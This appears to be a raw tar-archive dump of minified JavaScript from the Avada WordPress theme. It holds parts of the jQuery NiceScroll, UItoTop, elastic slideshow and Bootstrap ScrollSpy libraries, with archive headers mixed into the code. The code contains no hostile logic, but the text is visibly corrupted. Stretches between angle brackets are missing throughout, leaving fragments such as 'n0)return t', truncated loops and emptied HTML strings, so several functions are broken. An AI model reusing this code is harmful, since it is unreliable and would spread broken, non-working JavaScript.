t=Math.max(o.getElementsByTagName("html")[0].scrollHeight,o.body.scrollHeight);m.doc.height(t)}m.lazyResize(30),m.css(n(m.iframe.body),e),T.isios&&m.haswrapper&&m.css(n(o.body),{"-webkit-transform":"translate3d(0,0,0)"}),"contentWindow"in this?m.bind(this.contentWindow,"scroll",m.onscroll):m.bind(o,"scroll",m.onscroll),g.enablemousewheel&&m.mousewheel(o,m.onmousewheel),g.enablekeyboard&&m.bind(o,T.isopera?"keypress":"keydown",m.onkeypress),T.cantouch?(m.bind(o,"touchstart",m.ontouchstart),m.bind(o,"touchmove",m.ontouchmove)):g.emulatetouch&&(m.bind(o,"mousedown",m.ontouchstart),m.bind(o,"mousemove",function(e){return m.ontouchmove(e,!0)}),g.grabcursorenabled&&T.cursorgrabvalue&&m.css(n(o.body),{cursor:T.cursorgrabvalue})),m.bind(o,"mouseup",m.ontouchend),m.zoom&&(g.dblclickzoom&&m.bind(o,"dblclick",m.doZoom),m.ongesturezoom&&m.bind(o,"gestureend",m.ongesturezoom))};this.doc[0].readyState&&"complete"===this.doc[0].readyState&&setTimeout(function(){R.call(m.doc[0],!1)},500),m.bind(this.doc,"load",R)}},this.showCursor=function(e,o){if(m.cursortimeout&&(clearTimeout(m.cursortimeout),m.cursortimeout=0),m.rail){if(m.autohidedom&&(m.autohidedom.stop().css({opacity:g.cursoropacitymax}),m.cursoractive=!0),m.rail.drag&&1==m.rail.drag.pt||(void 0!==e&&!1!==e&&(m.scroll.y=e/m.scrollratio.y|0),void 0!==o&&(m.scroll.x=o/m.scrollratio.x|0)),m.cursor.css({height:m.cursorheight,top:m.scroll.y}),m.cursorh){var t=m.hasreversehr?m.scrollvaluemaxw-m.scroll.x:m.scroll.x;m.cursorh.css({width:m.cursorwidth,left:!m.rail.align&&m.rail.visibility?t+m.rail.width:t}),m.cursoractive=!0}m.zoom&&m.zoom.stop().css({opacity:g.cursoropacitymax})}},this.hideCursor=function(e){m.cursortimeout||m.rail&&m.autohidedom&&(m.hasmousefocus&&"leave"===g.autohidemode||(m.cursortimeout=setTimeout(function(){m.rail.active&&m.showonmouseevent||(m.autohidedom.stop().animate({opacity:g.cursoropacitymin}),m.zoom&&m.zoom.stop().animate({opacity:g.cursoropacitymin}),m.cursoractive=!1),m.cursortimeout=0},e||g.hidecursordelay)))},this.noticeCursor=function(e,o,t){m.showCursor(o,t),m.rail.active||m.hideCursor(e)},this.getContentSize=m.ispage?function(){return{w:Math.max(l.body.scrollWidth,l.documentElement.scrollWidth),h:Math.max(l.body.scrollHeight,l.documentElement.scrollHeight)}}:m.haswrapper?function(){return{w:m.doc[0].offsetWidth,h:m.doc[0].offsetHeight}}:function(){return{w:m.docscroll[0].scrollWidth,h:m.docscroll[0].scrollHeight}},this.onResize=function(e,o){if(!m||!m.win)return!1;var t=m.page.maxh,r=m.page.maxw,i=m.view.h,s=m.view.w;if(m.view={w:m.ispage?m.win.width():m.win[0].clientWidth,h:m.ispage?m.win.height():m.win[0].clientHeight},m.page=o||m.getContentSize(),m.page.maxh=Math.max(0,m.page.h-m.view.h),m.page.maxw=Math.max(0,m.page.w-m.view.w),m.page.maxh==t&&m.page.maxw==r&&m.view.w==s&&m.view.h==i){if(m.ispage)return m;var n=m.win.offset();if(m.lastposition){var l=m.lastposition;if(l.top==n.top&&l.left==n.left)return m}m.lastposition=n}return 0===m.page.maxh?(m.hideRail(),m.scrollvaluemax=0,m.scroll.y=0,m.scrollratio.y=0,m.cursorheight=0,m.setScrollTop(0),m.rail&&(m.rail.scrollable=!1)):(m.page.maxh-=g.railpadding.top+g.railpadding.bottom,m.rail.scrollable=!0),0===m.page.maxw?(m.hideRailHr(),m.scrollvaluemaxw=0,m.scroll.x=0,m.scrollratio.x=0,m.cursorwidth=0,m.setScrollLeft(0),m.railh&&(m.railh.scrollable=!1)):(m.page.maxw-=g.railpadding.left+g.railpadding.right,m.railh&&(m.railh.scrollable=g.horizrailenabled)),m.railslocked=m.locked||0===m.page.maxh&&0===m.page.maxw,m.railslocked?(m.ispage||m.updateScrollBar(m.view),!1):(m.hidden||(m.rail.visibility||m.showRail(),m.railh&&!m.railh.visibility&&m.showRailHr()),m.istextarea&&m.win.css("resize")&&"none"!=m.win.css("resize")&&(m.view.h-=20),m.cursorheight=Math.min(m.view.h,Math.round(m.view.h*(m.view.h/m.page.h))),m.cursorheight=g.cursorfixedheight?g.cursorfixedheight:Math.max(g.cursorminheight,m.cursorheight),m.cursorwidth=Math.min(m.view.w,Math.round(m.view.w*(m.view.w/m.page.w))),m.cursorwidth=g.cursorfixedheight?g.cursorfixedheight:Math.max(g.cursorminheight,m.cursorwidth),m.scrollvaluemax=m.view.h-m.cursorheight-(g.railpadding.top+g.railpadding.bottom),m.hasborderbox||(m.scrollvaluemax-=m.cursor[0].offsetHeight-m.cursor[0].clientHeight),m.railh&&(m.railh.width=m.page.maxh>0?m.view.w-m.rail.width:m.view.w,m.scrollvaluemaxw=m.railh.width-m.cursorwidth-(g.railpadding.left+g.railpadding.right)),m.ispage||m.updateScrollBar(m.view),m.scrollratio={x:m.page.maxw/m.scrollvaluemaxw,y:m.page.maxh/m.scrollvaluemax},m.getScrollTop()>m.page.maxh?m.doScrollTop(m.page.maxh):(m.scroll.y=m.getScrollTop()/m.scrollratio.y|0,m.scroll.x=m.getScrollLeft()/m.scrollratio.x|0,m.cursoractive&&m.noticeCursor()),m.scroll.y&&0===m.getScrollTop()&&m.doScrollTo(m.scroll.y*m.scrollratio.y|0),m)},this.resize=m.onResize;var N=0;function R(e,o,t,r){m._bind(e,o,function(r){var i={original:r=r||a.event,target:r.target||r.srcElement,type:"wheel",deltaMode:"MozMousePixelScroll"==r.type?0:1,deltaX:0,deltaZ:0,preventDefault:function(){return r.preventDefault?r.preventDefault():r.returnValue=!1,!1},stopImmediatePropagation:function(){r.stopImmediatePropagation?r.stopImmediatePropagation():r.cancelBubble=!0}};return"mousewheel"==o?(r.wheelDeltaX&&(i.deltaX=-.025*r.wheelDeltaX),r.wheelDeltaY&&(i.deltaY=-.025*r.wheelDeltaY),!i.deltaY&&!i.deltaX&&(i.deltaY=-.025*r.wheelDelta)):i.deltaY=r.detail,t.call(e,i)},r)}this.onscreenresize=function(e){clearTimeout(N);var o=!m.ispage&&!m.haswrapper;o&&m.hideRails(),N=setTimeout(function(){m&&(o&&m.showRails(),m.resize()),N=0},120)},this.lazyResize=function(e){return clearTimeout(N),e=isNaN(e)?240:e,N=setTimeout(function(){m&&m.resize(),N=0},e),m},this.jqbind=function(e,o,t){m.events.push({e:e,n:o,f:t,q:!0}),n(e).on(o,t)},this.mousewheel=function(e,o,t){var r="jquery"in e?e[0]:e;if("onwheel"in l.createElement("div"))m._bind(r,"wheel",o,t||!1);else{var i=void 0!==l.onmousewheel?"mousewheel":"DOMMouseScroll";R(r,i,o,t||!1),"DOMMouseScroll"==i&&R(r,"MozMousePixelScroll",o,t||!1)}};var _=!1;if(T.haseventlistener){try{var I=Object.defineProperty({},"passive",{get:function(){_=!0}});a.addEventListener("test",null,I)}catch(e){}this.stopPropagation=function(e){return!!e&&((e=e.original?e.original:e).stopPropagation(),!1)},this.cancelEvent=function(e){return e.cancelable&&e.preventDefault(),e.stopImmediatePropagation(),e.preventManipulation&&e.preventManipulation(),!1}}else Event.prototype.preventDefault=function(){this.returnValue=!1},Event.prototype.stopPropagation=function(){this.cancelBubble=!0},a.constructor.prototype.addEventListener=l.constructor.prototype.addEventListener=Element.prototype.addEventListener=function(e,o,t){this.attachEvent("on"+e,o)},a.constructor.prototype.removeEventListener=l.constructor.prototype.removeEventListener=Element.prototype.removeEventListener=function(e,o,t){this.detachEvent("on"+e,o)},this.cancelEvent=function(e){return(e=e||a.event)&&(e.cancelBubble=!0,e.cancel=!0,e.returnValue=!1),!1},this.stopPropagation=function(e){return(e=e||a.event)&&(e.cancelBubble=!0),!1};this.delegate=function(e,o,t,r,i){var s=d[o]||!1;s||(s={a:[],l:[],f:function(e){for(var o=s.l,t=!1,r=o.length-1;r>=0;r--)if(!1===(t=o[r].call(e.target,e)))return!1;return t}},m.bind(e,o,s.f,r,i),d[o]=s),m.ispage?(s.a=[m.id].concat(s.a),s.l=[t].concat(s.l)):(s.a.push(m.id),s.l.push(t))},this.undelegate=function(e,o,t,r,i){var s=d[o]||!1;if(s&&s.l)for(var n=0,l=s.l.length;n0)return t;o=!!o.parentNode&&o.parentNode}return!1},this.triggerScrollStart=function(e,o,t,r,i){if(m.onscrollstart){var s={type:"scrollstart",current:{x:e,y:o},request:{x:t,y:r},end:{x:m.newscrollx,y:m.newscrolly},speed:i};m.onscrollstart.call(m,s)}},this.triggerScrollEnd=function(){if(m.onscrollend){var e=m.getScrollLeft(),o=m.getScrollTop(),t={type:"scrollend",current:{x:e,y:o},end:{x:e,y:o}};m.onscrollend.call(m,t)}};var O=0,Y=0,H=0,B=1;function X(e,o,t,r){m.scrollrunning||(m.newscrolly=m.getScrollTop(),m.newscrollx=m.getScrollLeft(),H=w());var i=w()-H;if(H=w(),i>350?B=1:B+=(2-B)/10,o=o*B|0,e=e*B|0){if(r)if(e<0){if(m.getScrollLeft()>=m.page.maxw)return!0}else if(m.getScrollLeft()<=0)return!0;var s=e>0?1:-1;Y!==s&&(m.scrollmom&&m.scrollmom.stop(),m.newscrollx=m.getScrollLeft(),Y=s),m.lastdeltax-=e}if(o){if(function(){var e=m.getScrollTop();if(o<0){if(e>=m.page.maxh)return!0}else if(e<=0)return!0}()){if(g.nativeparentscrolling&&t&&!m.ispage&&!m.zoomactive)return!0;var n=m.view.h>>1;m.newscrolly<-n?(m.newscrolly=-n,o=-1):m.newscrolly>m.page.maxh+n?(m.newscrolly=m.page.maxh+n,o=1):o=0}var l=o>0?1:-1;O!==l&&(m.scrollmom&&m.scrollmom.stop(),m.newscrolly=m.getScrollTop(),O=l),m.lastdeltay-=o}(o||e)&&m.synched("relativexy",function(){var e=m.lastdeltay+m.newscrolly;m.lastdeltay=0;var o=m.lastdeltax+m.newscrollx;m.lastdeltax=0,m.rail.drag||m.doScrollPos(o,e)})}var D=!1;function A(e,o,t){var r,i;if(!t&&D)return!0;(0===e.deltaMode?(r=-e.deltaX*(g.mousescrollstep/54)|0,i=-e.deltaY*(g.mousescrollstep/54)|0):1===e.deltaMode&&(r=-e.deltaX*g.mousescrollstep*50/80|0,i=-e.deltaY*g.mousescrollstep*50/80|0),o&&g.oneaxismousemode&&0===r&&i)&&(r=i,i=0,t&&(r<0?m.getScrollLeft()>=m.page.maxw:m.getScrollLeft()<=0)&&(i=r,r=0));if(m.isrtlmode&&(r=-r),!X(r,i,t,!0))return D=!1,e.stopImmediatePropagation(),e.preventDefault();t&&(D=!0)}if(this.onmousewheel=function(e){if(m.wheelprevented||m.locked)return!1;if(m.railslocked)return m.debounced("checkunlock",m.resize,250),!1;if(m.rail.drag)return m.cancelEvent(e);if("auto"===g.oneaxismousemode&&0!==e.deltaX&&(g.oneaxismousemode=!1),g.oneaxismousemode&&0===e.deltaX&&!m.rail.scrollable)return!m.railh||!m.railh.scrollable||m.onmousewheelhr(e);var o=w(),t=!1;if(g.preservenativescrolling&&m.checkarea+600m.page.maxh&&(o=m.page.maxh+(o-m.page.maxh)/2|0),e<0?e=e/2|0:e>m.page.maxw&&(e=m.page.maxw+(e-m.page.maxw)/2|0)):(o<0?o=0:o>m.page.maxh&&(o=m.page.maxh),e<0?e=0:e>m.page.maxw&&(e=m.page.maxw)),m.scrollrunning&&e==m.newscrollx&&o==m.newscrolly)return!1;m.newscrolly=o,m.newscrollx=e;var s=m.getScrollTop(),n=m.getScrollLeft(),l={};l.x=e-n,l.y=o-s;var a=0|Math.sqrt(l.x*l.x+l.y*l.y),c=m.prepareTransition(a);m.scrollrunning||(m.scrollrunning=!0,m.triggerScrollStart(n,s,e,o,c),m.cursorupdate.start()),m.scrollendtrapped=!0,T.transitionend||(m.scrollendtrapped&&clearTimeout(m.scrollendtrapped),m.scrollendtrapped=setTimeout(m.onScrollTransitionEnd,c)),m.setScrollTop(m.newscrolly),m.setScrollLeft(m.newscrollx)},this.cancelScroll=function(){if(!m.scrollendtrapped)return!0;var e=m.getScrollTop(),o=m.getScrollLeft();return m.scrollrunning=!1,T.transitionend||clearTimeout(T.transitionend),m.scrollendtrapped=!1,m.resetTransition(),m.setScrollTop(e),m.railh&&m.setScrollLeft(o),m.timerscroll&&m.timerscroll.tm&&clearInterval(m.timerscroll.tm),m.timerscroll=!1,m.cursorfreezed=!1,m.cursorupdate.stop(),m.showCursor(e,o),m},this.onScrollTransitionEnd=function(){if(m.scrollendtrapped){var e=m.getScrollTop(),o=m.getScrollLeft();if(e<0?e=0:e>m.page.maxh&&(e=m.page.maxh),o<0?o=0:o>m.page.maxw&&(o=m.page.maxw),e!=m.newscrolly||o!=m.newscrollx)return m.doScrollPos(o,e,g.snapbackspeed);m.scrollrunning&&m.triggerScrollEnd(),m.scrollrunning=!1,m.scrollendtrapped=!1,m.resetTransition(),m.timerscroll=!1,m.setScrollTop(e),m.railh&&m.setScrollLeft(o),m.cursorupdate.stop(),m.noticeCursor(!1,e,o),m.cursorfreezed=!1}}}else this.doScrollLeft=function(e,o){var t=m.scrollrunning?m.newscrolly:m.getScrollTop();m.doScrollPos(e,t,o)},this.doScrollTop=function(e,o){var t=m.scrollrunning?m.newscrollx:m.getScrollLeft();m.doScrollPos(t,e,o)},this.doScrollPos=function(e,o,t){var r=m.getScrollTop(),i=m.getScrollLeft();((m.newscrolly-r)*(o-r)<0||(m.newscrollx-i)*(e-i)<0)&&m.cancelScroll();var s=!1;if(m.bouncescroll&&m.rail.visibility||(o<0?(o=0,s=!0):o>m.page.maxh&&(o=m.page.maxh,s=!0)),m.bouncescroll&&m.railh.visibility||(e<0?(e=0,s=!0):e>m.page.maxw&&(e=m.page.maxw,s=!0)),m.scrollrunning&&m.newscrolly===o&&m.newscrollx===e)return!0;m.newscrolly=o,m.newscrollx=e,m.dst={},m.dst.x=e-i,m.dst.y=o-r,m.dst.px=i,m.dst.py=r;var n=0|Math.sqrt(m.dst.x*m.dst.x+m.dst.y*m.dst.y),l=m.getTransitionSpeed(n);m.bzscroll={};var a=s?1:.58;m.bzscroll.x=new E(i,m.newscrollx,l,0,0,a,1),m.bzscroll.y=new E(r,m.newscrolly,l,0,0,a,1);w();var c=function(){if(m.scrollrunning){var e=m.bzscroll.y.getPos();m.setScrollLeft(m.bzscroll.x.getNow()),m.setScrollTop(m.bzscroll.y.getNow()),e<=1?m.timer=u(c):(m.scrollrunning=!1,m.timer=0,m.triggerScrollEnd())}};m.scrollrunning||(m.triggerScrollStart(i,r,e,o,l),m.scrollrunning=!0,m.timer=u(c))},this.cancelScroll=function(){return m.timer&&h(m.timer),m.timer=0,m.bzscroll=!1,m.scrollrunning=!1,m};else this.doScrollLeft=function(e,o){var t=m.getScrollTop();m.doScrollPos(e,t,o)},this.doScrollTop=function(e,o){var t=m.getScrollLeft();m.doScrollPos(t,e,o)},this.doScrollPos=function(e,o,t){var r=e>m.page.maxw?m.page.maxw:e;r<0&&(r=0);var i=o>m.page.maxh?m.page.maxh:o;i<0&&(i=0),m.synched("scroll",function(){m.setScrollTop(i),m.setScrollLeft(r)})},this.cancelScroll=function(){};this.doScrollBy=function(e,o){X(0,e)},this.doScrollLeftBy=function(e,o){X(e,0)},this.doScrollTo=function(e,o){var t=o?Math.round(e*m.scrollratio.y):e;t<0?t=0:t>m.page.maxh&&(t=m.page.maxh),m.cursorfreezed=!1,m.doScrollTop(e)},this.checkContentSize=function(){var e=m.getContentSize();e.h==m.page.h&&e.w==m.page.w||m.resize(!1,e)},m.onscroll=function(e){m.rail.drag||m.cursorfreezed||m.synched("scroll",function(){m.scroll.y=Math.round(m.getScrollTop()/m.scrollratio.y),m.railh&&(m.scroll.x=Math.round(m.getScrollLeft()/m.scrollratio.x)),m.noticeCursor()})},m.bind(m.docscroll,"scroll",m.onscroll),this.doZoomIn=function(e){if(!m.zoomactive){m.zoomactive=!0,m.zoomrestore={style:{}};var o=["position","top","left","zIndex","backgroundColor","marginTop","marginBottom","marginLeft","marginRight"],t=m.win[0].style;for(var r in o){var i=o[r];m.zoomrestore.style[i]=void 0!==t[i]?t[i]:""}m.zoomrestore.style.width=m.win.css("width"),m.zoomrestore.style.height=m.win.css("height"),m.zoomrestore.padding={w:m.win.outerWidth()-m.win.width(),h:m.win.outerHeight()-m.win.height()},T.isios4&&(m.zoomrestore.scrollTop=c.scrollTop(),c.scrollTop(0)),m.win.css({position:T.isios4?"absolute":"fixed",top:0,left:0,zIndex:s+100,margin:0});var n=m.win.css("backgroundColor");return(""===n||/transparent|rgba\(0, 0, 0, 0\)|rgba\(0,0,0,0\)/.test(n))&&m.win.css("backgroundColor","#fff"),m.rail.css({zIndex:s+101}),m.zoom.css({zIndex:s+102}),m.zoom.css("backgroundPosition","0 -18px"),m.resizeZoom(),m.onzoomin&&m.onzoomin.call(m),m.cancelEvent(e)}},this.doZoomOut=function(e){if(m.zoomactive)return m.zoomactive=!1,m.win.css("margin",""),m.win.css(m.zoomrestore.style),T.isios4&&c.scrollTop(m.zoomrestore.scrollTop),m.rail.css({"z-index":m.zindex}),m.zoom.css({"z-index":m.zindex}),m.zoomrestore=!1,m.zoom.css("backgroundPosition","0 0"),m.onResize(),m.onzoomout&&m.onzoomout.call(m),m.cancelEvent(e)},this.doZoom=function(e){return m.zoomactive?m.doZoomOut(e):m.doZoomIn(e)},this.resizeZoom=function(){if(m.zoomactive){var e=m.getScrollTop();m.win.css({width:c.width()-m.zoomrestore.padding.w+"px",height:c.height()-m.zoomrestore.padding.h+"px"}),m.onResize(),m.setScrollTop(Math.min(m.page.maxh,e))}},this.init(),n.nicescroll.push(this)},S=function(e){var o=this;this.nc=e,this.lastx=0,this.lasty=0,this.speedx=0,this.speedy=0,this.lasttime=0,this.steptime=0,this.snapx=!1,this.snapy=!1,this.demulx=0,this.demuly=0,this.lastscrollx=-1,this.lastscrolly=-1,this.chkx=0,this.chky=0,this.timer=0,this.reset=function(e,t){o.stop(),o.steptime=0,o.lasttime=w(),o.speedx=0,o.speedy=0,o.lastx=e,o.lasty=t,o.lastscrollx=-1,o.lastscrolly=-1},this.update=function(e,t){var r=w();o.steptime=r-o.lasttime,o.lasttime=r;var i=t-o.lasty,s=e-o.lastx,n=o.nc.getScrollTop()+i,l=o.nc.getScrollLeft()+s;o.snapx=l<0||l>o.nc.page.maxw,o.snapy=n<0||n>o.nc.page.maxh,o.speedx=s,o.speedy=i,o.lastx=e,o.lasty=t},this.stop=function(){o.nc.unsynched("domomentum2d"),o.timer&&clearTimeout(o.timer),o.timer=0,o.lastscrollx=-1,o.lastscrolly=-1},this.doSnapy=function(e,t){var r=!1;t<0?(t=0,r=!0):t>o.nc.page.maxh&&(t=o.nc.page.maxh,r=!0),e<0?(e=0,r=!0):e>o.nc.page.maxw&&(e=o.nc.page.maxw,r=!0),r?o.nc.doScrollPos(e,t,o.nc.opt.snapbackspeed):o.nc.triggerScrollEnd()},this.doMomentum=function(e){var t=w(),r=e?t+e:o.lasttime,i=o.nc.getScrollLeft(),s=o.nc.getScrollTop(),n=o.nc.page.maxh,l=o.nc.page.maxw;o.speedx=l>0?Math.min(60,o.speedx):0,o.speedy=n>0?Math.min(60,o.speedy):0;var a=r&&t-r<=60;(s<0||s>n||i<0||i>l)&&(a=!1);var c=!(!o.speedy||!a)&&o.speedy,d=!(!o.speedx||!a)&&o.speedx;if(c||d){var u=Math.max(16,o.steptime);if(u>50){var h=u/50;o.speedx*=h,o.speedy*=h,u=50}o.demulxy=0,o.lastscrollx=o.nc.getScrollLeft(),o.chkx=o.lastscrollx,o.lastscrolly=o.nc.getScrollTop(),o.chky=o.lastscrolly;var p=o.lastscrollx,m=o.lastscrolly,f=function(){var e=w()-t>600?.04:.02;o.speedx&&(p=Math.floor(o.lastscrollx-o.speedx*(1-o.demulxy)),o.lastscrollx=p,(p<0||p>l)&&(e=.1)),o.speedy&&(m=Math.floor(o.lastscrolly-o.speedy*(1-o.demulxy)),o.lastscrolly=m,(m<0||m>n)&&(e=.1)),o.demulxy=Math.min(1,o.demulxy+e),o.nc.synched("domomentum2d",function(){if(o.speedx){o.nc.getScrollLeft();o.chkx=p,o.nc.setScrollLeft(p)}if(o.speedy){o.nc.getScrollTop();o.chky=m,o.nc.setScrollTop(m)}o.timer||(o.nc.hideCursor(),o.doSnapy(p,m))}),o.demulxy<1?o.timer=setTimeout(f,u):(o.stop(),o.nc.hideCursor(),o.doSnapy(p,m))};f()}else o.doSnapy(o.nc.getScrollLeft(),o.nc.getScrollTop())}},z=e.fn.scrollTop;e.cssHooks.pageYOffset={get:function(e,o,t){var r=n.data(e,"__nicescroll")||!1;return r&&r.ishwscroll?r.getScrollTop():z.call(e)},set:function(e,o){var t=n.data(e,"__nicescroll")||!1;return t&&t.ishwscroll?t.setScrollTop(parseInt(o)):z.call(e,o),this}},e.fn.scrollTop=function(e){if(void 0===e){var o=this[0]&&n.data(this[0],"__nicescroll")||!1;return o&&o.ishwscroll?o.getScrollTop():z.call(this)}return this.each(function(){var o=n.data(this,"__nicescroll")||!1;o&&o.ishwscroll?o.setScrollTop(parseInt(e)):z.call(n(this),e)})};var k=e.fn.scrollLeft;n.cssHooks.pageXOffset={get:function(e,o,t){var r=n.data(e,"__nicescroll")||!1;return r&&r.ishwscroll?r.getScrollLeft():k.call(e)},set:function(e,o){var t=n.data(e,"__nicescroll")||!1;return t&&t.ishwscroll?t.setScrollLeft(parseInt(o)):k.call(e,o),this}},e.fn.scrollLeft=function(e){if(void 0===e){var o=this[0]&&n.data(this[0],"__nicescroll")||!1;return o&&o.ishwscroll?o.getScrollLeft():k.call(this)}return this.each(function(){var o=n.data(this,"__nicescroll")||!1;o&&o.ishwscroll?o.setScrollLeft(parseInt(e)):k.call(n(this),e)})};var T=function(e){var o=this;if(this.length=0,this.name="nicescrollarray",this.each=function(e){return n.each(o,e),o},this.push=function(e){o[o.length]=e,o.length++},this.eq=function(e){return o[e]},e)for(var t=0;t1?n(e,r):s,i.win=r}!("doc"in i)||"win"in i||(i.win=r);var l=r.data("__nicescroll")||!1;l||(i.doc=i.doc||r,l=new x(i,r),r.data("__nicescroll",l)),t.push(l)}),1===t.length?t[0]:t},a.NiceScroll={getjQuery:function(){return e}},n.nicescroll||(n.nicescroll=new T,n.nicescroll.options=b)});Avada/assets/min/js/library/jquery.toTop.js000064400000002236152342437710014721 0ustar00!function(a){jQuery.fn.UItoTop=function(a){var b={text:"",min:200,inDelay:600,outDelay:400,containerID:"toTop",containerHoverID:"toTopHover",scrollSpeed:1200,easingType:"linear",scrollDownOnly:0,classes:""},c=jQuery.extend(b,a),d="#"+c.containerID,e="#"+c.containerHoverID,f=0;jQuery("body").append('"),jQuery(d).hide().on("click.UItoTop",function(){return jQuery("html, body").animate({scrollTop:0},c.scrollSpeed,c.easingType),jQuery("#"+c.containerHoverID,this).stop().animate({opacity:0},c.inDelay,c.easingType),!1}).prepend('').hover(function(){jQuery(e,this).stop().animate({opacity:1},600,"linear")},function(){jQuery(e,this).stop().animate({opacity:0},700,"linear")}),jQuery(window).scroll(function(){var a=jQuery(this).scrollTop();void 0===document.body.style.maxHeight&&jQuery(d).css({position:"absolute",top:a+jQuery(window).height()-50}),a>c.min&&(a>=f||1!==parseInt(c.scrollDownOnly))?jQuery(d).fadeIn(c.inDelay):jQuery(d).fadeOut(c.Outdelay),f=a})}}(jQuery);Avada/assets/min/js/library/jquery.elasticslider.js000064400000010376152342437710016447 0ustar00!function(i,t,s){var e,n=t.event;n.special.smartresize={setup:function(){t(this).bind("resize",n.special.smartresize.handler)},teardown:function(){t(this).unbind("resize",n.special.smartresize.handler)},handler:function(i,s){var n=this,h=arguments;i.type="smartresize",e&&clearTimeout(e),e=setTimeout((function(){t.event.dispatch.apply(n,h)}),"execAsap"===s?0:100)}},t.fn.smartresize=function(i){return i?this.bind("smartresize",i):this.trigger("smartresize",["execAsap"])},t.Slideshow=function(i,s){this.$el=t(s),this.$list=this.$el.find("ul.ei-slider-large"),this.$imgItems=this.$list.children("li"),this.itemsCount=this.$imgItems.length,this.$images=this.$imgItems.find("img:first"),this.$sliderthumbs=this.$el.find("ul.ei-slider-thumbs").hide(),this.$sliderElems=this.$sliderthumbs.children("li"),this.$sliderElem=this.$sliderthumbs.children("li.ei-slider-element"),this.$thumbs=this.$sliderElems.not(".ei-slider-element"),this._init(i)},t.Slideshow.defaults={animation:"sides",autoplay:!1,slideshow_interval:3e3,speed:800,easing:"",titlesFactor:.6,titlespeed:800,titleeasing:"",thumbMaxWidth:150},t.Slideshow.prototype={_init:function(i){this.options=t.extend(!0,{},t.Slideshow.defaults,i),this.$imgItems.css("opacity",0),this.$imgItems.find("div.ei-title > *").css("opacity",0),this.current=0;var s=this;this.$loading=t('
    Loading
    ').prependTo(s.$el),s.$images.imagesLoaded().done((function(){s.$loading.hide(),s._setImagesSize(),s._initThumbs(),s.$imgItems.eq(s.current).css({opacity:1,"z-index":10}).show().find("div.ei-title > *").css("opacity",1),s.options.autoplay&&s._startSlideshow(),s._initEvents()}))},_setImagesSize:function(){this.elWidth=this.$el.width();var i=this;this.$images.each((function(s){var e=t(this);imgDim=i._getImageDim(e.attr("src")),e.css({width:imgDim.width,height:imgDim.height,marginLeft:imgDim.left,marginTop:imgDim.top})}))},_getImageDim:function(i){var t=new Image;t.src=i;var s,e,n=this.elWidth,h=this.$el.height(),o=h/n,a=t.width,l=t.height/a;return o>l?(e=h,s=h/l):(e=n*l,s=n),{width:s,height:e,left:(n-s)/2,top:(h-e)/2}},_initThumbs:function(){this.$sliderElems.css({"max-width":this.options.thumbMaxWidth+"px",width:100/this.itemsCount+"%"}),this.$sliderthumbs.css("max-width",this.options.thumbMaxWidth*this.itemsCount+"px").show()},_startSlideshow:function(){var i=this;this.slideshow=setTimeout((function(){var t;t=i.current===i.itemsCount-1?0:i.current+1,i._slideTo(t),i.options.autoplay&&i._startSlideshow()}),this.options.slideshow_interval)},_slideTo:function(i){if(i===this.current||this.isAnimating)return!1;this.isAnimating=!0;var s=this.$imgItems.eq(this.current),e=this.$imgItems.eq(i),n=this,h={zIndex:10},o={opacity:1};"sides"===this.options.animation&&(h.left=i>this.current?-1*this.elWidth:this.elWidth,o.left=0),e.find("div.ei-title > h2").css("margin-right","50px").stop().delay(this.options.speed*this.options.titlesFactor).animate({marginRight:"0px",opacity:1},this.options.titlespeed,this.options.titleeasing).end().find("div.ei-title > h3").css("margin-right","-50px").stop().delay(this.options.speed*this.options.titlesFactor).animate({marginRight:"0px",opacity:1},this.options.titlespeed,this.options.titleeasing),t.when(s.css("z-index",1).find("div.ei-title > *").stop().fadeOut(this.options.speed/2,(function(){t(this).show().css("opacity",0)})),e.css(h).stop().animate(o,this.options.speed,this.options.easing),this.$sliderElem.stop().animate({left:this.$thumbs.eq(i).position().left},this.options.speed)).done((function(){s.css("opacity",0).find("div.ei-title > *").css("opacity",0),n.current=i,n.isAnimating=!1}))},_initEvents:function(){var s=this;t(i).on("smartresize.eislideshow",(function(i){s._setImagesSize(),s.$sliderElem.css("left",s.$thumbs.eq(s.current).position().left)})),this.$thumbs.on("click.eislideshow",(function(i){s.options.autoplay&&(clearTimeout(s.slideshow),s.options.autoplay=!1);var e=t(this).index()-1;return s._slideTo(e),!1}))}};var h=function(i){this.console};t.fn.eislideshow=function(i){if("string"==typeof i){var s=Array.prototype.slice.call(arguments,1);this.each((function(){var e=t.data(this,"eislideshow");e&&t.isFunction(e[i])&&"_"!==i.charAt(0)?e[i].apply(e,s):h()}))}else this.each((function(){t.data(this,"eislideshow")||t.data(this,"eislideshow",new t.Slideshow(i,this))}));return this}}(window,jQuery);Avada/assets/min/js/library/bootstrap.scrollspy.js000064400000005653152342437710016352 0ustar00!function(t){"use strict";function s(e,i){this.processWithBind=t.proxy(this.process,this),this.$body=t("body"),this.$scrollElement=t(e).is("body")?t(window):t(e),this.options=t.extend({},s.DEFAULTS,i),this.selector=(this.options.target||"")+" li > a",this.offsets=[],this.targets=[],this.activeTarget=null,this.scrollHeight=0,this.$scrollElement.on("scroll.bs.scrollspy",this.processWithBind),this.refresh(),this.process()}function e(e){return this.each((function(){var i=t(this),o=i.data("bs.scrollspy"),r="object"==typeof e&&e;o||i.data("bs.scrollspy",o=new s(this,r)),"string"==typeof e&&o[e]()}))}s.VERSION="3.3.2",s.DEFAULTS={offset:10},s.prototype.getScrollHeight=function(){return this.$scrollElement[0].scrollHeight||Math.max(this.$body[0].scrollHeight,document.documentElement.scrollHeight)},s.prototype.refresh=function(){var s="offset",e=0;fusion.isWindow(this.$scrollElement[0])||(s="position",e=this.$scrollElement.scrollTop()),this.offsets=[],this.targets=[],this.scrollHeight=this.getScrollHeight();var i=this;this.$body.find(this.selector).map((function(){var i=t(this),o=i.data("target")||i.attr("href"),r=/^#./.test(o)&&t(o);return r&&r.length&&r.is(":visible")&&[[r[s]().top+e,o]]||null})).sort((function(t,s){return t[0]-s[0]})).each((function(){i.offsets.push(this[0]),i.targets.push(this[1])}))},s.prototype.process=function(){var t,s=this.$scrollElement.scrollTop()+this.options.offset,e=this.getScrollHeight(),i=this.options.offset+e-this.$scrollElement.height(),o=this.offsets,r=this.targets,l=this.activeTarget;if(this.scrollHeight!=e&&this.refresh(),s>=i)return l!=(t=r[r.length-1])&&this.activate(t);if(l&&s=o[t]&&(!o[t+1]||s<=o[t+1])&&this.activate(r[t])},s.prototype.activate=function(s){this.activeTarget=s,this.clear();var 